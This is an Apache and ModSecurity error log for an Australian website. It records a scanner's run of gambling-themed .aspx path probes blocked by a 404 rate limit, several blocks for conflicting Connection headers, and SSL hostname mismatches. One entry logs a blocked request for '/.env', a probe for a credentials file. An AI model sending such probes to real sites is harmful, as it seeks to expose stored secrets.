[Sat May 02 10:16:29.054456 2026] [:error] [pid 53435:tid 53490] [client 79.137.64.41:59794] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afVefYDmp7_z8QkjSzNsUgAAAFI"]
[Sat May 02 10:16:31.548666 2026] [:error] [pid 53436:tid 53501] [client 79.137.64.41:47312] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "afVef69N0xp8fccVM0CYDAAAAII"]
[Sat May 02 10:16:33.929390 2026] [:error] [pid 53436:tid 53503] [client 79.137.64.41:47320] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afVega9N0xp8fccVM0CYEgAAAIQ"]
[Sat May 02 10:16:36.378839 2026] [:error] [pid 53435:tid 53495] [client 79.137.64.41:47336] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afVehIDmp7_z8QkjSzNsXwAAAFc"]
[Sat May 02 10:16:39.177783 2026] [:error] [pid 53540:tid 53559] [client 79.137.64.41:47350] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afVeh9QYV6qJFftBNynP1QAAANE"]
[Sat May 02 10:16:41.620732 2026] [:error] [pid 53540:tid 53546] [client 79.137.64.41:46810] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "afVeidQYV6qJFftBNynP2gAAAMQ"]
[Sat May 02 10:16:44.042436 2026] [:error] [pid 53435:tid 53493] [client 79.137.64.41:46812] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afVejIDmp7_z8QkjSzNsZQAAAFU"]
[Sat May 02 10:16:46.562102 2026] [:error] [pid 53435:tid 53492] [client 79.137.64.41:46814] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afVejoDmp7_z8QkjSzNsbgAAAFQ"]
[Sat May 02 10:16:49.083826 2026] [:error] [pid 11894:tid 11908] [client 79.137.64.41:46818] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "afVekTHh6DQF1tkXIKyOtQAAAUs"]
[Sat May 02 10:16:51.555697 2026] [:error] [pid 53434:tid 53461] [client 79.137.64.41:42190] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "afVek-9BXmRQcbfsxlwasAAAABI"]
[Sat May 02 10:17:12.721027 2026] [:error] [pid 11894:tid 11915] [client 79.137.64.41:42206] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "afVeqDHh6DQF1tkXIKyOxQAAAVI"]
[Sat May 02 10:17:15.152395 2026] [:error] [pid 21339:tid 21343] [client 79.137.64.41:34118] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "afVeqwN2KhHZavn0Te109gAAAYI"]
[Sat May 02 10:17:17.494785 2026] [:error] [pid 53540:tid 53548] [client 79.137.64.41:34132] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "afVerdQYV6qJFftBNynP5QAAAMY"]
[Sat May 02 10:17:19.798222 2026] [:error] [pid 21339:tid 21341] [client 79.137.64.41:34146] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "afVerwN2KhHZavn0Te10_wAAAYA"]
[Sat May 02 10:17:22.112854 2026] [:error] [pid 11894:tid 11912] [client 79.137.64.41:44368] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afVesjHh6DQF1tkXIKyOxgAAAU8"]
[Sat May 02 10:17:24.546348 2026] [:error] [pid 53434:tid 53448] [client 79.137.64.41:44374] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afVetO9BXmRQcbfsxlwa2QAAAAU"]
[Sat May 02 10:17:27.013683 2026] [:error] [pid 11894:tid 11918] [client 79.137.64.41:44378] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "afVetzHh6DQF1tkXIKyOygAAAVU"]
[Sat May 02 10:17:29.469276 2026] [:error] [pid 11894:tid 11899] [client 79.137.64.41:44386] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afVeuTHh6DQF1tkXIKyOywAAAUI"]
[Sat May 02 10:17:31.923151 2026] [:error] [pid 53540:tid 53542] [client 79.137.64.41:38312] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afVeu9QYV6qJFftBNynP6gAAAMA"]
[Sat May 02 10:17:34.236362 2026] [:error] [pid 53434:tid 53454] [client 79.137.64.41:38318] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afVevu9BXmRQcbfsxlwa4wAAAAs"]
[Sat May 02 10:17:36.682803 2026] [:error] [pid 53434:tid 53465] [client 79.137.64.41:38324] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afVewO9BXmRQcbfsxlwa5gAAABY"]
[Sat May 02 10:17:39.143453 2026] [:error] [pid 21339:tid 21349] [client 79.137.64.41:38338] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afVewwN2KhHZavn0Te11EAAAAYg"]
[Sat May 02 10:17:41.486452 2026] [:error] [pid 53435:tid 53483] [client 79.137.64.41:33070] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afVexYDmp7_z8QkjSzNstQAAAEs"]
[Sat May 02 10:17:43.796644 2026] [:error] [pid 53435:tid 53485] [client 79.137.64.41:33074] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afVex4Dmp7_z8QkjSzNsugAAAE0"]
[Sat May 02 10:17:46.111379 2026] [:error] [pid 53434:tid 53455] [client 79.137.64.41:33078] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afVeyu9BXmRQcbfsxlwa7AAAAAw"]
[Sat May 02 10:17:48.584061 2026] [:error] [pid 11894:tid 11912] [client 79.137.64.41:33080] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afVezDHh6DQF1tkXIKyO0QAAAU8"]
[Sat May 02 10:17:51.071563 2026] [:error] [pid 53436:tid 53514] [client 79.137.64.41:55876] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "afVez69N0xp8fccVM0CYKQAAAI8"]
[Sat May 02 10:17:53.531337 2026] [:error] [pid 11894:tid 11918] [client 79.137.64.41:55878] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "afVe0THh6DQF1tkXIKyO1AAAAVU"]
[Sat May 02 10:17:56.012630 2026] [:error] [pid 53540:tid 53557] [client 79.137.64.41:55892] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afVe1NQYV6qJFftBNynP7QAAAM8"]
[Sat May 02 10:17:58.501033 2026] [:error] [pid 53435:tid 53478] [client 79.137.64.41:55908] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afVe1oDmp7_z8QkjSzNsvgAAAEY"]
[Sat May 02 10:18:00.896363 2026] [:error] [pid 53435:tid 53482] [client 79.137.64.41:48910] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "afVe2IDmp7_z8QkjSzNsxAAAAEo"]
[Sat May 02 10:18:03.252330 2026] [:error] [pid 11894:tid 11900] [client 79.137.64.41:48916] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afVe2zHh6DQF1tkXIKyO4gAAAUM"]
[Sat May 02 10:18:05.803694 2026] [:error] [pid 53436:tid 53518] [client 79.137.64.41:48932] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "afVe3a9N0xp8fccVM0CYMAAAAJM"]
[Sat May 02 10:18:08.257112 2026] [:error] [pid 22846:tid 22854] [client 79.137.64.41:48946] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afVe4Im1Ms03Mfhp3abKMAAAAQY"]
[Sat May 02 10:18:29.287603 2026] [:error] [pid 22846:tid 22862] [client 79.137.64.41:47768] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "afVe9Ym1Ms03Mfhp3abKRgAAAQ4"]
[Sat May 02 10:18:31.742971 2026] [:error] [pid 53434:tid 53451] [client 79.137.64.41:43464] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afVe9-9BXmRQcbfsxlwbEQAAAAg"]
[Sat May 02 10:18:34.210934 2026] [:error] [pid 21339:tid 21347] [client 79.137.64.41:43470] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "afVe-gN2KhHZavn0Te11TQAAAYY"]
[Sat May 02 10:18:36.672285 2026] [:error] [pid 22846:tid 22870] [client 79.137.64.41:43476] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afVe_Im1Ms03Mfhp3abKSQAAARY"]
[Sat May 02 10:18:38.992386 2026] [:error] [pid 53434:tid 53467] [client 79.137.64.41:43480] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afVe_u9BXmRQcbfsxlwbGgAAABg"]
[Sat May 02 10:18:41.468745 2026] [:error] [pid 21339:tid 21362] [client 79.137.64.41:46180] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afVfAQN2KhHZavn0Te11UwAAAZU"]
[Sat May 02 10:18:43.836892 2026] [:error] [pid 53434:tid 53451] [client 79.137.64.41:46182] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afVfA-9BXmRQcbfsxlwbJAAAAAg"]
[Sat May 02 10:18:46.218642 2026] [:error] [pid 53435:tid 53490] [client 79.137.64.41:46190] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afVfBoDmp7_z8QkjSzNs4wAAAFI"]
[Sat May 02 10:18:48.708850 2026] [:error] [pid 11894:tid 11897] [client 79.137.64.41:46196] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "afVfCDHh6DQF1tkXIKyO_wAAAUA"]
[Sat May 02 10:18:51.205595 2026] [:error] [pid 11894:tid 11919] [client 79.137.64.41:37706] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afVfCzHh6DQF1tkXIKyPBwAAAVY"]
[Sat May 02 10:18:53.514257 2026] [:error] [pid 53436:tid 53511] [client 79.137.64.41:37712] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "afVfDa9N0xp8fccVM0CYRAAAAIw"]
[Sat May 02 10:18:55.998427 2026] [:error] [pid 53434:tid 53444] [client 79.137.64.41:37728] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afVfD-9BXmRQcbfsxlwbMQAAAAE"]
[Sat May 02 12:07:15.216377 2026] [:error] [pid 51917:tid 51933] [client 43.135.145.117:60348] [client 43.135.145.117] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afV4c67wZviJ7BgcCi8JNAAAAc4"]
[Sat May 02 12:16:44.502912 2026] [ssl:error] [pid 51950:tid 51992] [client 15.204.183.221:56870] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: http://measureyourbrand.com/
[Sat May 02 12:35:12.735918 2026] [:error] [pid 53434:tid 53443] [client 192.96.159.129:59809] [client 192.96.159.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "afV_AO9BXmRQcbfsxlwrogAAAAA"]
[Sat May 02 13:20:32.112971 2026] [:error] [pid 51917:tid 51930] [client 43.164.0.21:60838] [client 43.164.0.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afWJoK7wZviJ7BgcCi8UHQAAAcs"]
[Sat May 02 14:06:53.056755 2026] [ssl:error] [pid 52010:tid 52053] [client 15.204.183.221:1118] AH02032: Hostname www.measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: http://www.measureyourbrand.com/
[Sat May 02 17:51:48.054623 2026] [:error] [pid 53436:tid 53507] [client 43.165.4.2:38800] [client 43.165.4.2] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afXJNK9N0xp8fccVM0DG7wAAAIg"]
[Sat May 02 18:49:25.225993 2026] [:error] [pid 52012:tid 52096] [client 43.164.196.47:47872] [client 43.164.196.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afXWtUzSWr-8cpS83miBNgAAA1M"]
[Sat May 02 20:29:52.019784 2026] [ssl:error] [pid 52124:tid 52142] [client 15.204.161.7:23388] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://measureyourbrand.com/
[Sat May 02 22:05:31.220133 2026] [ssl:error] [pid 52012:tid 52095] [client 15.204.161.7:62496] AH02032: Hostname www.measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://www.measureyourbrand.com/
